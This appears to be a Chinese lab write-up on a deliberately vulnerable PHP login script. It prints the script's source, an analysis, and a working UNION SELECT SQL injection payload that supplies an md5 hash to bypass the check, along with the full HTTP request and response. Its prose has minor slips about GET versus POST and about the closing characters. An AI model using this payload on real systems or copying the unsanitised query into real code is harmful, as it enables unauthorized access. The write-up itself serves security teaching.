

## 1、知识点

知识点	说明
strcasecmp()	比较两个字符串并返回整型值

## 2、源码

```
<?php

//配置数据库
if($_POST[user] && $_POST[pass]) {
    $conn = mysql_connect("localhost", "root", "xxx");
    mysql_select_db("mysql") or die("Could not select database");
    if ($conn->connect_error) {
        die("Connection failed: " . mysql_error($conn));
    }

    //赋值

    $user = $_POST[user];
    $pass = md5($_POST[pass]);

    $sql = "select `user` from `users` where user='$user'";
    $query = mysql_query($sql);
    if (!$query) {
        printf("Error: %s\n", mysql_error($conn));
        exit();
    }
    $row = mysql_fetch_array($query, MYSQL_ASSOC);
    //echo $row["user"];

    if (($row[user]) && (!strcasecmp($pass, $row[user]))) {

        //如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0; 如果两者相等, 返回 0。

        echo "<p>Logged in! Key:***** </p>";
    }
    else {
        echo("<p>Log in failure!</p>");
    }
}
?>
```

### 3、分析

1) 程序通过POST方法接收参数user和pass，并拼接到SQL语句中进行查询。

```
$user = $_POST[user];
$pass = md5($_POST[pass]);

$sql = "select `user` from `users` where user='$user'";
$query = mysql_query($sql);
if (!$query) {
    printf( format: "Error: %s\n", mysql_error($conn));
    exit();
}
```

2) 将查询到的结果返回到\$row数组中，如果数组中的user值为真，并且pass和user的值相等，就输出key。

```
$row = mysql_fetch_array($query, result_type: MYSQL_ASSOC);
//echo $row["user"];

if (($row[user]) && (!strcasecmp($pass, $row[user]))) {

//如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0; 如果两者相等，返回 0。

    echo "<p>Logged in! Key:***** </p>";
}
```

3) 由于接收到的GET参数没有经过过滤，直接就拼接到SQL语句中进行查询，所以这里可以通过')闭合，造成注入；其次这里的要求是\$user和\$pass（\$pass是经过md5加密的，图1可以看到）进行比较，如果为真就返回key。

那么此时通过传入md5加密后的pass值作为user的值，然后')闭合并注释，再传入pass的值，即可成功拿到key。

**Request**

PrettyRawHex

1 POST /09.php HTTP/1.1

2 Host: x.com

3 Cache-Control: max-age=0

4 Upgrade-Insecure-Requests: 1

5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36

6 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9

7 Accept-Encoding: gzip, deflate

8 Accept-Language: zh-CN,zh;q=0.9

9 Cookie: PHPSESSID=a0sdp54kd1q7eq48vi8so510d7; XDEBUG\_SESSION=PHPSTORM

10 Connection: close

11 Content-Type: application/x-www-form-urlencoded

12 Content-Length: 73

13

14 user='%20union%20select%20' e10adc3949ba59abbe56e057f20f883e' #&pass=123456

**Response**

PrettyRawHexRender

1 0.2113 136880 {main}() ...09.php:0

Notice: Use of undefined constant pass - assumed 'pass' in F:\Range\PhpStudy2018\PHPTutorial\WWW\PHP\_bugs\09.php on line 14

Call Stack

#TimeMemoryFunctionLocation

10.2113136880{main}()...09.php:0

Notice: Use of undefined constant user - assumed 'user' in F:\Range\PhpStudy2018\PHPTutorial\WWW\PHP\_bugs\09.php on line 25

Call Stack

#TimeMemoryFunctionLocation

10.2113136880{main}()...09.php:0

Notice: Use of undefined constant user - assumed 'user' in F:\Range\PhpStudy2018\PHPTutorial\WWW\PHP\_bugs\09.php on line 25

Call Stack

#TimeMemoryFunctionLocation

10.2113136880{main}()...09.php:0

Logged in! Key:\*\*\*\*\*

0 matches

## 4、利用

```
user='%20union%20select%20'e10adc3949ba59abbe56e057f20f883e'.'&pass=123456
```